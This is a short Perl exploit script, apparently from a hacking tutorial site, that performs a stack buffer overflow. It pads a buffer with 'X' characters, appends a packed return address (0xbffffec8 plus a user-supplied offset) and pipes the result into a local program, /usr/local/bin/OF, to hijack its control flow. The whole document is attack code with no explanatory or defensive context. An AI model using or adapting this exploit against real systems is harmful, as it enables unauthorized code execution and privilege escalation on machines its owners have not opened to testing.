HOF ~~~~~~~ #!/usr/bin/perl if (@ARGV == 1) { $offset = $ARGV[0]; } $length = 20; $return = 0xbffffec8; $cmd = "/usr/local/bin/OF"; $opt = "/usr/local/bin/scale"; for ($i = 0; $i < ($length - 4); $i++) { $buffer .= 'X'; } printf("Address: %#lx\n\n", ($return + $offset)); $buffer .= pack('l', ($return + $offset)); system("(echo \"$buffer\") | $cmd $opt"); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ www.hackcraft.com